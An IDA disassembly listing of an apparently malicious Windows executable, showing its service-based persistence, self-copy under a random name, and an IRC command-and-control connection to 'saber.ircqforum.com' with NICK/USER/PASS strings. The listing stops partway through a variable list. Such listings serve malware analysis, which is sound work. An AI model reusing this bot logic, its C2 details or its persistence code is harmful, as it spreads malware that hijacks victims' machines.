; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 8B71E371E5EC44F273957E5378816B69 ; File Name : u:\work\8b71e371e5ec44f273957e5378816b69_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000DB000 ( 897024.) ; Section size in file : 000DB000 ( 897024.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write ___ segment para public 'DATA' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: ___:00401576p ; sub_418857+1Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindowsService ; "Windows Service Agent" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4C92B8 cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41B960 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4C9328 jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4C9268 loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4C92E0 add edi, 8 cmp edi, offset dword_429068 jl short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_427238[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: ___:0041699Ep var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41BC9B mov [esp+10h+var_10], offset dword_429068 push [esp+10h+arg_0] mov esi, eax call sub_41BC88 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_41BB48 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41BA60 add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41BA31 push edi call sub_41B9DB add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: ___:00401235o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43C24C call dword_4C939C call sub_40B576 call dword_4C925C call dword_4C925C mov ebx, dword_427088 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BD10 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41BD10 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_43B4B8 mov [ebp+var_28], 1 mov [ebp+var_24], di nop call near ptr 2680000h lea eax, [ebp+var_158] push esi push eax push edi nop call near ptr 2670000h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call near ptr 26603BDh nop test eax, eax jz short loc_4011E2 push 64h call ebx push [ebp+var_10] mov esi, dword_427078 call esi push [ebp+var_C] call esi loc_4011E2: ; CODE XREF: sub_40111D+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43B4B0 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi call near ptr 77E75CB5h nop pop edi pop esi pop ebx loc_401205: ; DATA XREF: ___:00429004o jmp $+5 push 0FFFFh push 539h call sub_418B82 pop ecx mov dword_4C9040, eax pop ecx retn sub_40111D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-4], offset sub_40111D push dword ptr [ebp-4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4270B8 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4C9044, eax call esi push eax call sub_41C058 pop ecx call sub_4098FD push 2 call dword_4C93B0 push 7530h push offset a1221 ; "1221" push ebx push ebx nop call near ptr 26A0000h push eax nop call near ptr 2690830h cmp eax, 102h jnz short loc_4012A1 push 1 nop call near ptr 77E75CB5h loc_4012A1: ; CODE XREF: ___:00401297j lea eax, [ebp-884h] push eax push 202h call dword_4C9274 cmp eax, ebx jnz loc_4017DE cmp byte ptr [ebp-884h], 2 jnz loc_4017D8 xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_4017D8 mov esi, 104h lea eax, [ebp-3F0h] push esi push eax nop call near ptr 2680000h lea eax, [ebp-2ECh] push esi push eax push ebx nop call near ptr 26906BCh push eax nop call near ptr 2670000h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_41C151 lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset dword_429ACC lea eax, [ebp-5F4h] push esi push eax call sub_41C100 lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_41C080 add esp, 30h test eax, eax jnz loc_401513 cmp dword_4C91B0, ebx mov esi, offset byte_429108 jz short loc_401399 push esi xor edi, edi call sub_41B960 sub eax, 4 pop ecx jz short loc_401399 loc_401376: ; CODE XREF: ___:00401397j call sub_41C062 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_429108[edi], dl inc edi call sub_41B960 sub eax, 4 pop ecx cmp edi, eax jb short loc_401376 loc_401399: ; CODE XREF: ___:00401366j ; ___:00401374j lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset dword_429AC4 push eax call sub_41C006 add esp, 10h lea eax, [ebp-1E8h] push eax call near ptr 269058Ah nop cmp eax, 0FFFFFFFFh jz short loc_4013D9 lea eax, [ebp-1E8h] push 80h push eax nop call near ptr 2690408h loc_4013D9: ; CODE XREF: ___:004013C5j mov esi, dword_4270A0 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_4013F0: ; CODE XREF: ___:00401427j call esi test eax, eax jnz short loc_401429 nop call near ptr 2680DCDh cmp edi, ebx jnz short loc_401429 cmp eax, 20h jz short loc_40140A cmp eax, 5 jnz short loc_401429 loc_40140A: ; CODE XREF: ___:00401403j push 1 pop edi push 3A98h nop call near ptr 268051Bh lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_4013F0 ; --------------------------------------------------------------------------- loc_401429: ; CODE XREF: ___:004013F4j ; ___:004013FEj ... lea eax, [ebp-1E8h] push eax call sub_418791 pop ecx lea eax, [ebp-1E8h] push 7 push eax call near ptr 2690408h nop push 10h lea eax, [ebp-20h] push ebx push eax call sub_41BD10 push 44h lea eax, [ebp-0E4h] pop esi push esi push ebx push eax call sub_41BD10 add esp, 18h mov [ebp-0E4h], esi mov dword ptr [ebp-0D8h], offset byte_43B4B8 mov [ebp-0B4h], bx push 1 pop esi mov [ebp-0B8h], esi call near ptr 2680D91h nop push eax push esi push 100000h call near ptr 2680883h nop lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_429AB8 push eax call sub_41C006 add esp, 14h lea eax, [ebp-20h] push eax lea eax, [ebp-0E4h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax nop call near ptr 26603BDh test eax, eax jz short loc_401513 push 0C8h nop call near ptr 268051Bh push dword ptr [ebp-20h] mov esi, dword_427078 call esi push dword ptr [ebp-1Ch] call esi call dword_4C925C push ebx nop call near ptr 77E75CB5h loc_401513: ; CODE XREF: ___:00401355j ; ___:004014E9j cmp dword_4D9730, 2 jle short loc_40155F mov eax, dword_4D9734 push dword ptr [eax+4] call sub_41BEF9 pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 2690830h push esi nop call near ptr 2660000h mov eax, dword_4D9734 cmp [eax+8], ebx jz short loc_40155F push 7D0h nop call near ptr 268051Bh mov eax, dword_4D9734 push dword ptr [eax+8] call near ptr 26807FFh nop loc_40155F: ; CODE XREF: ___:0040151Aj ; ___:00401544j cmp dword_42908C, ebx jz short loc_40157C cmp dword_4C93D4, ebx jnz short loc_40157C lea eax, [ebp-5F4h] push eax call sub_401000 pop ecx loc_40157C: ; CODE XREF: ___:00401565j ; ___:0040156Dj lea eax, [ebp-0A0h] push offset dword_429A9C push eax call sub_41C006 push ebx lea eax, [ebp-0A0h] push ebx push eax call sub_40B3AD lea eax, [ebp-0A0h] push eax call sub_415CEE push 0B80h push ebx push offset dword_43B4C0 call sub_41BD10 lea eax, [ebp-0A0h] push offset unk_429A78 push eax call sub_41C006 push ebx lea eax, [ebp-0A0h] push 1 push eax call sub_40B3AD add esp, 38h mov esi, eax mov edi, dword_42708C lea eax, [ebp-8] push eax push ebx push ebx push offset word_419EEE push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43C254[esi], eax jnz short loc_40161C call near ptr 2680DCDh nop push eax lea eax, [ebp-0A0h] push offset unk_429A38 push eax call sub_41C006 add esp, 0Ch loc_40161C: ; CODE XREF: ___:004015FFj lea eax, [ebp-0A0h] push eax call sub_415CEE push 2 call sub_40B5F5 pop ecx test eax, eax pop ecx jnz short loc_4016A1 lea eax, [ebp-0A0h] push offset dword_429A0C push eax call sub_41C006 push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40B3AD add esp, 14h mov esi, eax lea eax, [ebp-8] push eax push ebx push esi push offset loc_410BBE push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43C254[esi], eax jnz short loc_401694 nop call near ptr 2680DCDh push eax lea eax, [ebp-0A0h] push offset dword_4299D8 push eax call sub_41C006 add esp, 0Ch loc_401694: ; CODE XREF: ___:00401677j lea eax, [ebp-0A0h] push eax call sub_415CEE pop ecx loc_4016A1: ; CODE XREF: ___:00401633j call sub_41C062 push 7Fh and eax, 3 push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4C904C mov dword_4C91B8, eax call sub_41BD70 mov eax, dword_42906C push 3Fh mov edi, offset dword_4C90CC push offset dword_4290D4 push edi mov dword_4C919C, eax call sub_41BD70 push 3Fh mov esi, offset dword_4C910C push offset dword_4290DC push esi call sub_41BD70 add esp, 24h mov dword_4C91A0, ebx loc_4016F6: ; CODE XREF: ___:0040177Ej ; ___:00401789j ... mov [ebp-4], ebx loc_4016F9: ; CODE XREF: ___:00401732j push offset dword_4C9048 mov dword_4C91B4, ebx call sub_4017E7 cmp eax, 2 mov [ebp-10h], eax jz loc_4017D3 cmp dword_4C91B4, ebx jz short loc_401720 dec dword ptr [ebp-4] loc_401720: ; CODE XREF: ___:0040171Bj push 0BB8h call near ptr 268051Bh nop inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_4016F9 cmp dword ptr [ebp-10h], 2 jz loc_4017D3 cmp [ebp-0Ch], ebx jz short loc_401783 push 7Fh push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4C904C call sub_41BD70 mov eax, dword_42906C push 3Fh push offset dword_4290D4 push edi mov dword_4C919C, eax call sub_41BD70 push 3Fh push offset dword_4290DC push esi call sub_41BD70 add esp, 24h mov [ebp-0Ch], ebx jmp loc_4016F6 ; --------------------------------------------------------------------------- loc_401783: ; CODE XREF: ___:00401741j cmp byte_4290E4, bl jz loc_4016F6 push 7Fh push offset byte_4290E4 push offset dword_4C904C call sub_41BD70 mov eax, dword_429070 push 3Fh push offset aFaak ; "#FAAK#" push edi mov dword_4C919C, eax call sub_41BD70 push 3Fh push offset aSaad_ ; "saad." push esi call sub_41BD70 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_4016F6 ; --------------------------------------------------------------------------- loc_4017D3: ; CODE XREF: ___:0040170Fj ; ___:00401738j call sub_40B576 loc_4017D8: ; CODE XREF: ___:004012C2j ; ___:004012D2j call dword_4C925C loc_4017DE: ; CODE XREF: ___:004012B5j pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017E7 proc near ; CODE XREF: ___:00401704p ; DATA XREF: sub_401AC7+658Ao var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_40180C: ; CODE XREF: sub_4017E7+E6j ; sub_4017E7+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BD10 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4C9304 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40A8E4 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_401939 push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41BD10 push 0 lea eax, [ebp+var_2C] push dword_42909C push dword_429098 push eax call sub_40AE77 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43C258 push edi push eax call sub_41BD70 add esp, 28h push 6 push 1 push 2 call dword_4C9384 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43C24C[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4C92AC cmp eax, 0FFFFFFFFh jnz short loc_4018D2 push esi call dword_4C939C call sub_40A90D push 7D0h loc_4018C7: ; CODE XREF: sub_4017E7+146j call near ptr 268051Bh nop jmp loc_40180C ; --------------------------------------------------------------------------- loc_4018D2: ; CODE XREF: sub_4017E7+CDj lea eax, [ebp+var_18C] push eax push offset unk_429AD4 call sub_415D62 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_40194F add esp, 28h mov edi, eax push esi call dword_4C939C test edi, edi jz loc_40180C cmp edi, 1 jnz short loc_40192F push 0DBBA0h jmp short loc_4018C7 ; --------------------------------------------------------------------------- loc_40192F: ; CODE XREF: sub_4017E7+13Fj cmp edi, 2 jz short loc_40193D jmp loc_40180C ; --------------------------------------------------------------------------- loc_401939: ; CODE XREF: sub_4017E7+5Aj xor eax, eax jmp short loc_401949 ; --------------------------------------------------------------------------- loc_40193D: ; CODE XREF: sub_4017E7+14Bj push [ebp+var_34] call sub_40B6C9 pop ecx push 2 pop eax loc_401949: ; CODE XREF: sub_4017E7+154j pop edi pop esi leave retn 4 sub_4017E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40194F proc near ; CODE XREF: sub_4017E7+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41C2A0 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_40196D: ; CODE XREF: sub_40194F+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_40196D cmp byte_4290D0, bl jz short loc_401994 push offset byte_4290D0 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_40981C add esp, 0Ch loc_401994: ; CODE XREF: sub_40194F+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40AE77 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41C006 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4C9354 cmp eax, 0FFFFFFFFh jnz short loc_4019FE push [ebp+arg_0] call dword_4C939C push 1388h nop call near ptr 268051Bh loc_4019F7: ; CODE XREF: sub_40194F+D9j ; sub_40194F+153j xor eax, eax loc_4019F9: ; CODE XREF: sub_40194F+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4019FE: ; CODE XREF: sub_40194F+92j ; sub_40194F+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4C931C test eax, eax jle short loc_4019F7 lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_41847D pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_4019FE lea edi, [ebp+var_A90] loc_401A4F: ; CODE XREF: sub_40194F+165j push 1 pop esi loc_401A52: ; CODE XREF: sub_40194F+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401AC7 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A95 push 7D0h nop call near ptr 268051Bh jmp short loc_401A52 ; --------------------------------------------------------------------------- loc_401A95: ; CODE XREF: sub_40194F+137j cmp esi, 0FFFFFFFDh jz short loc_401ABF cmp esi, 0FFFFFFFEh jz short loc_401ABB cmp esi, 0FFFFFFFFh jz loc_4019F7 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A4F jmp loc_4019FE ; --------------------------------------------------------------------------- loc_401ABB: ; CODE XREF: sub_40194F+14Ej push 1 jmp short loc_401AC1 ; --------------------------------------------------------------------------- loc_401ABF: ; CODE XREF: sub_40194F+149j push 2 loc_401AC1: ; CODE XREF: sub_40194F+16Ej pop eax jmp loc_4019F9 sub_40194F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401AC7 proc near ; CODE XREF: sub_40194F+12Ap var_568C = byte ptr -568Ch var_528C = byte ptr -528Ch var_50FC = byte ptr -50FCh var_4FF8 = byte ptr -4FF8h var_4EF8 = byte ptr -4EF8h var_4CF8 = byte ptr -4CF8h var_4BF8 = byte ptr -4BF8h var_4AF4 = byte ptr -4AF4h var_49F4 = byte ptr -49F4h var_48F0 = byte ptr -48F0h var_47F0 = byte ptr -47F0h var_46F0 = byte ptr -46F0h var_45F0 = byte ptr -45F0h var_458C = byte ptr -458Ch var_448C = byte ptr -448Ch var_438C = byte ptr -438Ch var_428C = byte ptr -428Ch var_408C = byte ptr -408Ch var_3F8C = dword ptr -3F8Ch var_3F88 = byte ptr -3F88h var_3F08 = byte ptr -3F08h var_3E04 = byte ptr -3E04h var_3D00 = dword ptr -3D00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = byte ptr -3CE8h var_3C68 = byte ptr -3C68h var_3BE8 = byte ptr -3BE8h var_3B68 = byte ptr -3B68h var_3AE8 = byte ptr -3AE8h var_3A68 = dword ptr -3A68h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = byte ptr -3A58h var_37D1 = byte ptr -37D1h var_37D0 = byte ptr -37D0h var_36CC = dword ptr -36CCh var_36C4 = dword ptr -36C4h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B0 = dword ptr -36B0h var_36AC = dword ptr -36ACh var_36A8 = byte ptr -36A8h var_3628 = byte ptr -3628h var_35A8 = byte ptr -35A8h var_3528 = byte ptr -3528h var_34A8 = dword ptr -34A8h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = byte ptr -3494h var_3414 = byte ptr -3414h var_3394 = byte ptr -3394h var_3314 = byte ptr -3314h var_3294 = dword ptr -3294h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = byte ptr -3280h var_3200 = byte ptr -3200h var_3180 = byte ptr -3180h var_3100 = byte ptr -3100h var_3080 = dword ptr -3080h var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = byte ptr -306Ch var_2FEC = byte ptr -2FECh var_2F6C = byte ptr -2F6Ch var_2EEC = byte ptr -2EECh var_2E6C = dword ptr -2E6Ch var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = byte ptr -2E5Ch var_2D58 = dword ptr -2D58h var_2D54 = byte ptr -2D54h var_2C50 = byte ptr -2C50h var_2B4C = dword ptr -2B4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = byte ptr -2B40h var_2AC0 = dword ptr -2AC0h var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AAC = byte ptr -2AACh var_2994 = byte ptr -2994h var_2914 = dword ptr -2914h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = byte ptr -28FCh var_287C = byte ptr -287Ch var_277C = byte ptr -277Ch var_267C = dword ptr -267Ch var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = byte ptr -2654h var_25D4 = byte ptr -25D4h var_24D4 = byte ptr -24D4h var_23D4 = dword ptr -23D4h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = byte ptr -23ACh var_232C = byte ptr -232Ch var_22AC = byte ptr -22ACh var_222C = dword ptr -222Ch var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = byte ptr -2218h var_2198 = byte ptr -2198h var_2118 = byte ptr -2118h var_2098 = dword ptr -2098h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = byte ptr -2084h var_2004 = byte ptr -2004h var_1F84 = byte ptr -1F84h var_1F04 = dword ptr -1F04h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = byte ptr -1EF0h var_1DF0 = byte ptr -1DF0h var_1D70 = dword ptr -1D70h var_1D68 = dword ptr -1D68h var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D4C = byte ptr -1D4Ch var_1D38 = byte ptr -1D38h var_1C34 = byte ptr -1C34h var_1BB0 = dword ptr -1BB0h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B98 = byte ptr -1B98h var_1B84 = byte ptr -1B84h var_1A80 = byte ptr -1A80h var_1A00 = dword ptr -1A00h var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = byte ptr -19E8h var_1968 = byte ptr -1968h var_1928 = byte ptr -1928h var_1828 = dword ptr -1828h var_1824 = dword ptr -1824h var_1818 = dword ptr -1818h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = byte ptr -180Ch var_17D4 = byte ptr -17D4h var_17B8 = byte ptr -17B8h var_1780 = byte ptr -1780h var_177C = byte ptr -177Ch var_16FC = byte ptr -16FCh var_16BC = byte ptr -16BCh var_162C = dword ptr -162Ch var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = byte ptr -1618h var_1598 = byte ptr -1598h var_1518 = dword ptr -1518h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = byte ptr -1508h var_14F8 = byte ptr -14F8h var_1478 = byte ptr -1478h var_13F8 = dword ptr -13F8h var_13F0 = dword ptr -13F0h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = byte ptr -13D8h var_1358 = byte ptr -1358h var_12D8 = byte ptr -12D8h var_1258 = dword ptr -1258h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1234 = byte ptr -1234h var_11B4 = byte ptr -11B4h var_1134 = dword ptr -1134h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1124 = dword ptr -1124h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1114 = dword ptr -1114h var_1110 = byte ptr -1110h var_1090 = byte ptr -1090h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1000 = dword ptr -1000h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = byte ptr -0FECh var_F6C = dword ptr -0F6Ch var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = byte ptr -0F58h var_ED8 = dword ptr -0ED8h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = byte ptr -0EC4h var_E44 = dword ptr -0E44h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = byte ptr -0E34h var_E24 = byte ptr -0E24h var_E04 = byte ptr -0E04h var_D84 = dword ptr -0D84h var_D80 = byte ptr -0D80h var_D00 = byte ptr -0D00h var_C80 = dword ptr -0C80h var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch 